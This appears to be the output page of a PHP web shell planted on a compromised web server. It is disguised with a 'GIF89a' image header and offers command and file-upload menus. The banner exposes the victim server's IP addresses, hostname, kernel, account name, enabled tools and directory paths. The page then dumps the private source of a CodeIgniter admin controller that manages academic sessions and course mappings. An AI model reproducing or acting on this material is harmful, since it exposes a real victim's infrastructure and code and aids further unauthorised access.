GIF89a;
Server IP : 172.26.0.195 / Your IP : 18.119.143.45 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../admission/../cas/application/controllers/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Controller class for handling all requests related to sessions. * * @author Softpro India Pvt. Ltd. */ defined('BASEPATH') OR exit('No direct script access allowed'); class Sessions extends CI_Controller { public function __construct() { parent::__construct(); $this->load->model('admin/SessionManagement'); $this->load->model('admin/CourseManagement'); $this->load->model('admin/UCSMappingManagement'); $this->load->model('admin/UniversityManagement'); $this->load->model('admin/BranchManagement'); } public function index() { if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) { $viewData['allSessions'] = $this->SessionManagement->getAllSessions()->result(); $this->load->view('admin/sessions', $viewData); } else { redirect("admin/"); } } public function createSession() { if ($this->sessionvalidator->isLoggedIn()) { $allCourseInfo = array(); $courseInfo = $this->CourseManagement->getNonDeletedCoursesWithFullInfo()->result(); for ($i = 0; $i < sizeof($courseInfo); $i++) { $subCourseInfo = $this->CourseManagement->getAllSubCoursesBy($courseInfo[$i]->course_id)->result(); $isLateralAllowed = false; $subCourseIdLat = ""; $subCourseIdReg = ""; for ($j = 0; $j < sizeof($subCourseInfo); $j++) { if ($subCourseInfo[$j]->tcsm_course_type == "Lateral Entry" && $subCourseInfo[$j]->tcsm_active_status == "T") { $subCourseIdLat = $subCourseInfo[$j]->tcsm_id; $isLateralAllowed = true; } else if ($subCourseInfo[$j]->tcsm_course_type == "Lateral Entry" && $subCourseInfo[$j]->tcsm_active_status == "F") { $subCourseIdLat = $subCourseInfo[$j]->tcsm_id; $isLateralAllowed = false; } else { $subCourseIdReg = $subCourseInfo[$j]->tcsm_id; $isLateralAllowed = false; } } $thisCourseInfo = array( 'course_id' => $courseInfo[$i]->course_id, 'course_duration' => $courseInfo[$i]->course_duration, 'course_alias' => stripslashes($courseInfo[$i]->course_name), 'course_lat_allowed' => $isLateralAllowed, 'sub_course_lat' => $subCourseIdLat, 'sub_course_reg' => $subCourseIdReg ); array_push($allCourseInfo, $thisCourseInfo); } $viewData['allCourses'] = $allCourseInfo; $viewData['allUniversities'] = $this->UniversityManagement->getAllNonDeletedUniversities()->result(); $viewData['allBranches'] = $this->BranchManagement->getAllNonDeletedBrances()->result(); $this->load->view('admin/createSession', $viewData); } else { redirect("admin/"); } } public function saveNewSession() { if ($this->sessionvalidator->isLoggedIn()) { $this->form_validation->set_rules('sessionName', 'Session Name', 'trim|required', array('required' => 'Session Name Can Not Be Blank.')); $this->form_validation->set_rules('sessionStatus', 'Session Status', 'trim|required', array('required' => 'Please Select Any Session Status.')); $sessionName = $this->input->post("sessionName"); $courseSelection = $this->input->post('courses'); $isChecked = 0; $isNoEntryTypeChecked = 0; $ucsMapArray = array(); if (sizeof($courseSelection)) { foreach ($courseSelection as $selectedCoursesId) { $isChecked++; $latSubCourseId = $this->input->post("subCourseLatId[$selectedCoursesId]"); $regSubCourseId = $this->input->post("subCourseRegId[$selectedCoursesId]"); $selectedLatEntryType = $this->input->post("isLatAllowed[$selectedCoursesId]"); $selectedRegEntryType = $this->input->post("isRegAllowed[$selectedCoursesId]"); $courseDuration = $this->input->post("courseDuration[$selectedCoursesId]"); if ($selectedLatEntryType != "" || $selectedRegEntryType != "") { $regAllowed = ($selectedRegEntryType == "T") ? "T" : "F"; $latAllowed = ($selectedLatEntryType == "T") ? "T" : "F"; /* For Regular */ array_push($ucsMapArray, array( 'reg_or_lat' => 'reg', 'ucs_rg_le_active_status' => $regAllowed, 'sub_course_id' => $regSubCourseId, 'univ_id' => $this->input->post("univApprovalBody[$selectedCoursesId]"), 'course_duration' => $courseDuration, 'session_id' => '', 'branch_id' => $this->input->post("branch[$selectedCoursesId]"), 'ucs_form_fee' => (trim($this->input->post("formFee[$selectedCoursesId]")) == "") ? "0.0" : trim($this->input->post("formFee[$selectedCoursesId]")), 'ucs_map_added_on' => date("Y-m-d H:i:s"), 'ucs_map_updated_on' => date("Y-m-d H:i:s"), 'ucs_map_added_by' => $this->session->userdata("adminData")["smember_id"], 'ucs_map_updated_by' => $this->session->userdata("adminData")["smember_id"], 'session_end_year' => '' )); /* For Lateral */ array_push($ucsMapArray, array( 'reg_or_lat' => 'lat', 'ucs_rg_le_active_status' => $latAllowed, 'sub_course_id' => $latSubCourseId, 'univ_id' => $this->input->post("univApprovalBody[$selectedCoursesId]"), 'course_duration' => $courseDuration, 'session_id' => '', 'branch_id' => $this->input->post("branch[$selectedCoursesId]"), 'ucs_form_fee' => (trim($this->input->post("formFee[$selectedCoursesId]")) == "") ? "0.0" : trim($this->input->post("formFee[$selectedCoursesId]")), 'ucs_map_added_on' => date("Y-m-d H:i:s"), 'ucs_map_updated_on' => date("Y-m-d H:i:s"), 'ucs_map_added_by' => $this->session->userdata("adminData")["smember_id"], 'ucs_map_updated_by' => $this->session->userdata("adminData")["smember_id"], 'session_end_year' => '' )); } else { $isNoEntryTypeChecked++; } } } $sessionQueryByName = $this->SessionManagement->getSessionInfoByName($sessionName); $sessionInfoByName = $sessionQueryByName->result(); if ($this->form_validation->run() == FALSE) { $this->createSession(); } // } else if (!$isChecked) { // $this->session->set_flashdata('errorMessage', "At Least One Course Should Be Selected While Creating A Session."); // $this->createSession(); // } else if ($isNoEntryTypeChecked) { // $this->session->set_flashdata('errorMessage', "Either Of Regular Or Lateral Entry Type Should Be Selected For The Selected Course."); // $this->createSession(); else if (stripos($sessionName, "-") === FALSE) { $this->session->set_flashdata('errorMessage', "Invalid Session Name. Please Specify Session Start & Ending Year Separated By '-'"); $this->createSession(); } else if (stripos($sessionName, "-") === 0) { $this->session->set_flashdata('errorMessage', "Invalid Session Name. Please Specify Session Start Year Before '-'"); $this->createSession(); } else if ((strlen(explode('-', $sessionName)[0]) != 4) || (strlen(explode('-', $sessionName)[1]) != 4) || !is_numeric(explode('-', $sessionName)[0]) || !is_numeric(explode('-', $sessionName)[1])) { $this->session->set_flashdata('errorMessage', "Invalid Session Name. Session Should Always Contain A Valid Numeric 4 Digit Start & End Years"); $this->createSession(); } else if (sizeof($sessionInfoByName)) { $this->session->set_flashdata('errorMessage', "Can Not Create Session. This Session Already Exits!"); $this->createSession(); } else { $newSession = array( 'session_name' => $sessionName, 'session_status' => trim($this->input->post("sessionStatus")), 'session_desc' => addslashes(trim($this->input->post("sessionDesc"))), 'session_added_by' => $this->session->userdata("adminData")["smember_id"], 'session_updated_by' => $this->session->userdata("adminData")["smember_id"], 'session_added_on' => date("Y-m-d H:i:s"), 'session_updated_on' => date("Y-m-d H:i:s") ); $this->db->trans_start(); if (trim($this->input->post("sessionStatus")) == "C") { $allSessionUpdateData = array( 'session_status' => "O" ); $this->SessionManagement->updateSessionInfo($allSessionUpdateData, true); } $session_id = $this->SessionManagement->createNewSession($newSession); $newMapArray = array(); for ($i = 0; $i < sizeof($ucsMapArray); $i++) { $thisMapping = $ucsMapArray[$i]; $thisMapping['session_id'] = $session_id; if ($thisMapping['reg_or_lat'] == 'reg') { $thisMapping['session_end_year'] = explode('-', $sessionName)[0] + $thisMapping['course_duration']; } else { $thisMapping['session_end_year'] = explode('-', $sessionName)[0] + ($thisMapping['course_duration'] - 1); } unset($thisMapping['reg_or_lat']); unset($thisMapping['course_duration']); array_push($newMapArray, $thisMapping); } if (sizeof($newMapArray)) { if ($this->UCSMappingManagement->createNewUCSMappingMulti($newMapArray)) { $this->db->trans_complete(); $this->session->set_flashdata('successMessage', 'Session Created Successfully.'); redirect("admin/Sessions"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Creating Session. Try Later.'); redirect("admin/Sessions"); } } else { $this->db->trans_complete(); $this->session->set_flashdata('successMessage', 'Session Created Successfully.'); redirect("admin/Sessions"); } } } else { redirect("admin/"); } } public function editSession($session_id) { if ($this->sessionvalidator->isLoggedIn()) { $allCourseInfo = array(); $courseInfo = $this->CourseManagement->getNonDeletedCoursesWithFullInfo()->result(); for ($i = 0; $i < sizeof($courseInfo); $i++) { $subCourseInfo = $this->CourseManagement->getAllSubCoursesBy($courseInfo[$i]->course_id)->result(); $isLateralAllowed = false; $subCourseIdLat = ""; $subCourseIdReg = ""; $ucsMapIdLat = ""; $ucsMapIdReg = ""; $isLatChecked = false; $isRegChecked = false; $branch_id = ""; $univ_id = ""; $form_fee = ""; $isCourseAvailable = false; for ($j = 0; $j < sizeof($subCourseInfo); $j++) { $uscMapInfo = $this->UCSMappingManagement->getAllUCSMappingBySessionAndSubCourse($session_id, $subCourseInfo[$j]->tcsm_id)->result(); if ($subCourseInfo[$j]->tcsm_course_type == "Lateral Entry" && $subCourseInfo[$j]->tcsm_active_status == "T") { $subCourseIdLat = $subCourseInfo[$j]->tcsm_id; $isLateralAllowed = true; if (sizeof($uscMapInfo)) { $ucsMapIdLat = $uscMapInfo[0]->ucs_map_id; $isLatChecked = ($uscMapInfo[0]->ucs_rg_le_active_status == "T") ? true : false; $branch_id = $uscMapInfo[0]->branch_id; $univ_id = $uscMapInfo[0]->univ_id; $isCourseAvailable = ($uscMapInfo[0]->ucs_map_delete_status == "F") ? true : false; $form_fee = $uscMapInfo[0]->ucs_form_fee; } } else if ($subCourseInfo[$j]->tcsm_course_type == "Lateral Entry" && $subCourseInfo[$j]->tcsm_active_status == "F") { $subCourseIdLat = $subCourseInfo[$j]->tcsm_id; $isLateralAllowed = false; if (sizeof($uscMapInfo)) { $ucsMapIdLat = $uscMapInfo[0]->ucs_map_id; $isLatChecked = ($uscMapInfo[0]->ucs_rg_le_active_status == "T") ? true : false; $branch_id = $uscMapInfo[0]->branch_id; $univ_id = $uscMapInfo[0]->univ_id; $isCourseAvailable = ($uscMapInfo[0]->ucs_map_delete_status == "F") ? true : false; $form_fee = $uscMapInfo[0]->ucs_form_fee; } } else { $subCourseIdReg = $subCourseInfo[$j]->tcsm_id; $isLateralAllowed = false; if (sizeof($uscMapInfo)) { $ucsMapIdReg = $uscMapInfo[0]->ucs_map_id; $isRegChecked = ($uscMapInfo[0]->ucs_rg_le_active_status == "T") ? true : false; $branch_id = $uscMapInfo[0]->branch_id; $univ_id = $uscMapInfo[0]->univ_id; $isCourseAvailable = ($uscMapInfo[0]->ucs_map_delete_status == "F") ? true : false; $form_fee = $uscMapInfo[0]->ucs_form_fee; } } } $thisCourseInfo = array( 'session_id' => $session_id, 'course_id' => $courseInfo[$i]->course_id, 'course_duration' => $courseInfo[$i]->course_duration, 'course_alias' => stripslashes($courseInfo[$i]->course_name), 'course_lat_allowed' => $isLateralAllowed, 'sub_course_lat' => $subCourseIdLat, 'sub_course_reg' => $subCourseIdReg, 'ucs_map_id_lat' => $ucsMapIdLat, 'ucs_map_id_reg' => $ucsMapIdReg, 'is_lat_checked' => $isLatChecked, 'is_reg_checked' => $isRegChecked, 'branch_id' => $branch_id, 'univ_id' => $univ_id, 'is_course_available' => $isCourseAvailable, 'form_fee' => $form_fee ); array_push($allCourseInfo, $thisCourseInfo); } $viewData['allCourses'] = $allCourseInfo; $viewData['allUniversities'] = $this->UniversityManagement->getAllNonDeletedUniversities()->result(); $viewData['allBranches'] = $this->BranchManagement->getAllNonDeletedBrances()->result(); $viewData['sessionInfo'] = $this->SessionManagement->getSessionInfoBy($session_id)->result()[0]; $this->load->view('admin/editSession', $viewData); } else { redirect("admin/"); } } public function updateSession() { if ($this->sessionvalidator->isLoggedIn()) { $this->form_validation->set_rules('sessionName', 'Session Name', 'trim|required', array('required' => 'Session Name Can Not Be Blank.')); $this->form_validation->set_rules('sessionStatus', 'Session Status', 'trim|required', array('required' => 'Please Select Any Session Status.')); $sessionId = $this->input->post("sessionId"); $sessionName = $this->input->post("sessionName"); $courseSelection = $this->input->post('courses'); $isChecked = 0; $isNoEntryTypeChecked = 0; $ucsMapArrayUpdate = array(); $ucsMapArrayInsert = array(); if (sizeof($courseSelection)) { foreach ($courseSelection as $selectedCoursesId) { $isChecked++; $latSubCourseId = $this->input->post("subCourseLatId[$selectedCoursesId]"); $regSubCourseId = $this->input->post("subCourseRegId[$selectedCoursesId]"); $selectedLatEntryType = $this->input->post("isLatAllowed[$selectedCoursesId]"); $selectedRegEntryType = $this->input->post("isRegAllowed[$selectedCoursesId]"); $selectedLatUCSMapId = $this->input->post("ucsMapIdLat[$selectedCoursesId]"); $selectedRegUCSMapId = $this->input->post("ucsMapIdReg[$selectedCoursesId]"); $courseDuration = $this->input->post("courseDuration[$selectedCoursesId]"); if ($selectedLatEntryType != "" || $selectedRegEntryType != "") { $regAllowed = ($selectedRegEntryType == "T") ? "T" : "F"; $latAllowed = ($selectedLatEntryType == "T") ? "T" : "F"; if ($selectedRegUCSMapId && $selectedLatUCSMapId) { /* When Some Modification Is Being Done With Already Existing Course */ /* For Regular */ array_push($ucsMapArrayUpdate, array( 'ucs_map_id' => $selectedRegUCSMapId, 'ucs_map_delete_status' => 'F', 'reg_or_lat' => 'reg', 'ucs_rg_le_active_status' => $regAllowed, 'sub_course_id' => $regSubCourseId, 'univ_id' => $this->input->post("univApprovalBody[$selectedCoursesId]"), 'course_duration' => $courseDuration, 'session_id' => $sessionId, 'branch_id' => $this->input->post("branch[$selectedCoursesId]"), 'ucs_form_fee' => (trim($this->input->post("formFee[$selectedCoursesId]")) == "") ? "0.0" : trim($this->input->post("formFee[$selectedCoursesId]")), 'ucs_map_updated_on' => date("Y-m-d H:i:s"), 'ucs_map_updated_by' => $this->session->userdata("adminData")["smember_id"], 'session_end_year' => '' )); /* For Lateral */ array_push($ucsMapArrayUpdate, array( 'ucs_map_id' => $selectedLatUCSMapId, 'ucs_map_delete_status' => 'F', 'reg_or_lat' => 'lat', 'ucs_rg_le_active_status' => $latAllowed, 'sub_course_id' => $latSubCourseId, 'univ_id' => $this->input->post("univApprovalBody[$selectedCoursesId]"), 'course_duration' => $courseDuration, 'session_id' => $sessionId, 'branch_id' => $this->input->post("branch[$selectedCoursesId]"), 'ucs_form_fee' => (trim($this->input->post("formFee[$selectedCoursesId]")) == "") ? "0.0" : trim($this->input->post("formFee[$selectedCoursesId]")), 'ucs_map_updated_on' => date("Y-m-d H:i:s"), 'ucs_map_updated_by' => $this->session->userdata("adminData")["smember_id"], 'session_end_year' => '' )); } else { /* When New Course Is Selected */ /* For Regular */ array_push($ucsMapArrayInsert, array( 'reg_or_lat' => 'reg', 'ucs_rg_le_active_status' => $regAllowed, 'sub_course_id' => $regSubCourseId, 'univ_id' => $this->input->post("univApprovalBody[$selectedCoursesId]"), 'course_duration' => $courseDuration, 'session_id' => $sessionId, 'branch_id' => $this->input->post("branch[$selectedCoursesId]"), 'ucs_form_fee' => (trim($this->input->post("formFee[$selectedCoursesId]")) == "") ? "0.0" : trim($this->input->post("formFee[$selectedCoursesId]")), 'ucs_map_added_on' => date("Y-m-d H:i:s"), 'ucs_map_updated_on' => date("Y-m-d H:i:s"), 'ucs_map_added_by' => $this->session->userdata("adminData")["smember_id"], 'ucs_map_updated_by' => $this->session->userdata("adminData")["smember_id"], 'session_end_year' => '' )); /* For Lateral */ array_push($ucsMapArrayInsert, array( 'reg_or_lat' => 'lat', 'ucs_rg_le_active_status' => $latAllowed, 'sub_course_id' => $latSubCourseId, 'univ_id' => $this->input->post("univApprovalBody[$selectedCoursesId]"), 'course_duration' => $courseDuration, 'session_id' => $sessionId, 'branch_id' => $this->input->post("branch[$selectedCoursesId]"), 'ucs_form_fee' => (trim($this->input->post("formFee[$selectedCoursesId]")) == "") ? "0.0" : trim($this->input->post("formFee[$selectedCoursesId]")), 'ucs_map_added_on' => date("Y-m-d H:i:s"), 'ucs_map_updated_on' => date("Y-m-d H:i:s"), 'ucs_map_added_by' => $this->session->userdata("adminData")["smember_id"], 'ucs_map_updated_by' => $this->session->userdata("adminData")["smember_id"], 'session_end_year' => '' )); } } else { $isNoEntryTypeChecked++; } } } if ($this->form_validation->run() == FALSE) { $this->editSession($sessionId); } // } else if (!$isChecked) { // $this->session->set_flashdata('errorMessage', "At Least One Course Should Be Selected While Creating A Session."); // $this->editSession($sessionId); // } else if ($isNoEntryTypeChecked) { // $this->session->set_flashdata('errorMessage', "Either Of Regular Or Lateral Entry Type Should Be Selected For The Selected Course."); // $this->editSession($sessionId); else if (stripos($sessionName, "-") === FALSE) { $this->session->set_flashdata('errorMessage', "Invalid Session Name. Please Specify Session Start & Ending Year Separated By '-'"); $this->editSession($sessionId); } else if (stripos($sessionName, "-") === 0) { $this->session->set_flashdata('errorMessage', "Invalid Session Name. Please Specify Session Start Year Before '-'"); $this->editSession($sessionId); } else if ((strlen(explode('-', $sessionName)[0]) != 4) || (strlen(explode('-', $sessionName)[1]) != 4) || !is_numeric(explode('-', $sessionName)[0]) || !is_numeric(explode('-', $sessionName)[1])) { $this->session->set_flashdata('errorMessage', "Invalid Session Name. Session Should Always Contain A Valid Numeric 4 Digit Start & End Years"); $this->editSession($sessionId); } else if (!$this->SessionManagement->isSessionNameSafeUpdate($sessionId, trim($sessionName))) { $this->session->set_flashdata('errorMessage', "This Session (" . $sessionName . ") Already Exits! Please Try With Different Name."); $this->editSession($sessionId); } else { $sessionUpdateInfo = array( 'session_id' => $sessionId, 'session_name' => $sessionName, 'session_status' => trim($this->input->post("sessionStatus")), 'session_desc' => $this->input->post("sessionDesc"), 'session_updated_by' => $this->session->userdata("adminData")["smember_id"], 'session_updated_on' => date("Y-m-d H:i:s") ); $this->db->trans_start(); if (trim($this->input->post("sessionStatus")) == "C") { $allSessionUpdateData = array( 'session_status' => "O" ); $this->SessionManagement->updateSessionInfo($allSessionUpdateData, true); } if ($this->SessionManagement->updateSessionInfo($sessionUpdateInfo, false)) { /* Setting All UCS Map Entry To Deleted At Once */ $allUCSMapUpdateData = array( 'session_id' => $sessionId, 'ucs_map_delete_status' => "T" ); $this->UCSMappingManagement->updateUCSMappingEntry($allUCSMapUpdateData, true); /* Setting All UCS Map Entry To Deleted At Once */ /* Creating Update Array For Old Courses */ $oldMapUpdateArray = array(); for ($i = 0; $i < sizeof($ucsMapArrayUpdate); $i++) { $thisMapping = $ucsMapArrayUpdate[$i]; if ($thisMapping['reg_or_lat'] == 'reg') { $thisMapping['session_end_year'] = explode('-', $sessionName)[0] + $thisMapping['course_duration']; } else { $thisMapping['session_end_year'] = explode('-', $sessionName)[0] + ($thisMapping['course_duration'] - 1); } unset($thisMapping['reg_or_lat']); unset($thisMapping['course_duration']); array_push($oldMapUpdateArray, $thisMapping); } /* Creating Update Array For Old Courses */ /* Creating Insert Array For Newly Selected Courses */ $newMapInsertArray = array(); for ($i = 0; $i < sizeof($ucsMapArrayInsert); $i++) { $thisMapping = $ucsMapArrayInsert[$i]; if ($thisMapping['reg_or_lat'] == 'reg') { $thisMapping['session_end_year'] = explode('-', $sessionName)[0] + $thisMapping['course_duration']; } else { $thisMapping['session_end_year'] = explode('-', $sessionName)[0] + ($thisMapping['course_duration'] - 1); } unset($thisMapping['reg_or_lat']); unset($thisMapping['course_duration']); array_push($newMapInsertArray, $thisMapping); } /* Creating Insert Array For Newly Selected Courses */ if (sizeof($newMapInsertArray) || sizeof($oldMapUpdateArray)) { if (sizeof($newMapInsertArray)) { if ($this->UCSMappingManagement->createNewUCSMappingMulti($newMapInsertArray)) { $this->db->trans_complete(); $this->session->set_flashdata('successMessage', 'Sessions Updated Successfully.'); redirect("admin/Sessions"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Session. Try Later.'); redirect(current_url()); } } if (sizeof($oldMapUpdateArray)) { if ($this->UCSMappingManagement->updateUCSMappingMulti($oldMapUpdateArray)) { $this->db->trans_complete(); $this->session->set_flashdata('successMessage', 'Sessions Updated Successfully.'); redirect("admin/Sessions"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Session. Try Later.'); redirect(current_url()); } } } else { $this->db->trans_complete(); $this->session->set_flashdata('successMessage', 'Sessions Updated Successfully.'); redirect("admin/Sessions"); } } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Session. Try Later.'); redirect(current_url()); } } } else { redirect("admin/"); } } public function toggleSessionStatus($session_id, $toUpdateStatus) { if ($this->sessionvalidator->isLoggedIn()) { $sessionUpdateData = array( 'session_id' => $session_id, 'session_updated_on' => date("Y-m-d H:i:s"), 'session_updated_by' => $this->session->userdata("adminData")["smember_id"], 'session_active_status' => $toUpdateStatus ); if ($this->SessionManagement->updateSessionInfo($sessionUpdateData)) { $this->session->set_flashdata('successMessage', 'Sessions Status Updated Successfully.'); redirect("admin/Sessions"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Sessions Status. Try Later.'); redirect("admin/Sessions"); } } else { redirect("admin/"); } } public function markAsCurrentSession($session_id) { if ($this->sessionvalidator->isLoggedIn()) { $allSessionUpdateData = array( 'session_status' => "O" ); $thisSessionUpdateData = array( 'session_id' => $session_id, 'session_updated_on' => date("Y-m-d H:i:s"), 'session_updated_by' => $this->session->userdata("adminData")["smember_id"], 'session_status' => "C" ); $this->db->trans_start(); if ($this->SessionManagement->updateSessionInfo($allSessionUpdateData, true)) { if ($this->SessionManagement->updateSessionInfo($thisSessionUpdateData, false)) { $this->db->trans_complete(); $this->session->set_flashdata('successMessage', 'Sessions Set As Current Successfully.'); redirect("admin/Sessions"); } else { $this->session->set_flashdata('successMessage', 'Some Error Occurred While Setting Sessions As Current. Try Later.'); redirect("admin/Sessions"); } } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Setting Sessions As Current. Try Later.'); redirect("admin/Sessions"); } } else { redirect("admin/"); } } public function deleteSession($session_id) { if ($this->sessionvalidator->isLoggedIn()) { $sessionUpdateData = array( 'session_id' => $session_id, 'session_updated_on' => date("Y-m-d H:i:s"), 'session_updated_by' => $this->session->userdata("adminData")["smember_id"], 'session_delete_status' => 'T' ); if ($this->SessionManagement->updateSessionInfo($sessionUpdateData)) { $this->session->set_flashdata('successMessage', 'Session Deleted Successfully.'); redirect("admin/Sessions"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Session. Try Later.'); redirect("admin/Sessions"); } } else { redirect("admin/"); } } public function undoDeleteSession($session_id) { if ($this->sessionvalidator->isLoggedIn()) { $sessionUpdateData = array( 'session_id' => $session_id, 'session_updated_on' => date("Y-m-d H:i:s"), 'session_updated_by' => $this->session->userdata("adminData")["smember_id"], 'session_delete_status' => 'F' ); if ($this->SessionManagement->updateSessionInfo($sessionUpdateData)) { $this->session->set_flashdata('successMessage', 'Session Recovered Successfully.'); redirect("admin/Sessions"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Recovering Session. Try Later.'); redirect("admin/Sessions"); } } else { redirect("admin/"); } } public function getSessionByCourseAndBranch() { $branch_id = $_POST['branch_id']; $course_id = $_POST['course_id']; $query = $this->UCSMappingManagement->getAllSessionsByCourseAndBranch($branch_id, $course_id); $allSessionsList = $query->result(); if (sizeof($allSessionsList)) { $options = "<option value=''>Select Session</option>"; for ($i = 0; $i < (sizeof($allSessionsList)); $i++) { $options .= "<option value=" . $allSessionsList[$i]->session_id . ">" . stripslashes($allSessionsList[$i]->session_name) . "</option>"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'session_List' => $options ); } else { $options = "<option value=''>No Sessions Available In This Course</option>"; $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'session_List' => $options ); } echo json_encode($responseData); } public function getSessionByCourseAndBranchSelected() { $session_id = $_POST['session_id']; $branch_id = $_POST['branch_id']; $course_id = $_POST['course_id']; $query = $this->UCSMappingManagement->getAllSessionsByCourseAndBranch($branch_id, $course_id); $allSessionsList = $query->result(); if (sizeof($allSessionsList)) { $options = "<option value=''>Select Session</option>"; for ($i = 0; $i < (sizeof($allSessionsList)); $i++) { $selected = ($session_id == $allSessionsList[$i]->session_id) ? "selected" : ""; $options .= "<option value=" . $allSessionsList[$i]->session_id . " " . $selected . ">" . stripslashes($allSessionsList[$i]->session_name) . "</option>"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'session_List' => $options ); } else { $options = "<option value=''>No Sessions Available In This Course</option>"; $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'session_List' => $options ); } echo json_encode($responseData); } }